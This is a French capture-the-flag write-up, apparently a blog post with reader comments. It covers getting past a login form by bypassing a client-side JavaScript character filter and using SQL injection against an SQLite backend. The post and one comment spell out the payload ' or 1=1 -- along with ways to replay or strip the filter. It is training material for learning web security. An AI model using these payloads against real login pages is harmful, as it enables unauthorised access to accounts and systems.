outils
- module firefox live http headersl'épreuve
L'épreuve consiste à s'identifier sur un questionnaire.étude
astuce n°1 un javascript supprime des caractères interdits
jetons un oeil au code source de la page< head>
< title>...< /title>
< script type="text/javascript">
function check()
{
var escape = Array('\'', '"', '\\', ';', '-');
for( i=0; i
{
document.forms[0].login.value = document.forms[0].login.value.replace(escape[i], '');
document.forms[0].password.value = document.forms[0].password.value.replace(escape[i], '');
}
}
< /script>
< style>
body {
background-color: white;
text-align: center;
font-family: Verdana;
font-size: small;
font-weight: bold;
}
#page {
width: 800px;
margin:auto;
}
img {
width: 500px;
}
#texte {
position: relative;
top: -220px;
width: 250px;
margin: auto;
text-align:center;
}
input {
text-align: center;
}
< /style>
< /head>
< body>
< div id="page">
< p>
< img src="secure.png" />
< div id="texte">
< form method="post" action="" onsubmit="javascript:check();">
- Login -
< input type="text" name="login" />
- Password -
< input type="password" name="password" />
< input type="submit" value="Go" />
< /form>
< /div>
< /p>
< /div>
< /body>
< /html>
La page appelle la fonction javascript check() lorsqu'on clique sur le bouton GO.
< form method="post" action="" onsubmit="javascript:check();">
Cette fonction supprime des caractères interdits.
function check()
{
var escape = Array('\'', '"', '\\', ';', '-');
for( i=0; i
{
document.forms[0].login.value = document.forms[0].login.value.replace(escape[i], '');
document.forms[0].password.value = document.forms[0].password.value.replace(escape[i], '');
}
}
astuce n°2 la page contient une faille SQL
Utilisons l'extension firefox http live headers
Capturons l'envoi de nos données puis "rejouons" l'envoi:
Nous modifions la requête en écrivant:
login=' #&password=
Nous obtenons que la base est en sqlite, et qu'il y a un souci avec le caractère #.
Astuce n°3 La base est en sqlite (et non en MySQL)
le commentaire en sqlite commence par --solution
injectons via http live headers la requêtelogin=' or 1=1 -- & password=' or 1=1 --
ma variante:
RépondreSupprimerj'ai écrasé la fonction check en tapant:
javascript:function check(){}
puis tapé
' or 1=1 --
en guise de login, qui ne sera plus nettoyé, et ça passe également.
Bonjour,
RépondreSupprimerje n'ai pas compris la signification de la dernière injection effectuée, que veux dire la syntaxe
"login=' or 1=1 -- & password=' or 1=1 --"
lors de la comparaison login et password au niveau sql ces donnees sont mises dans la requete
RépondreSupprimer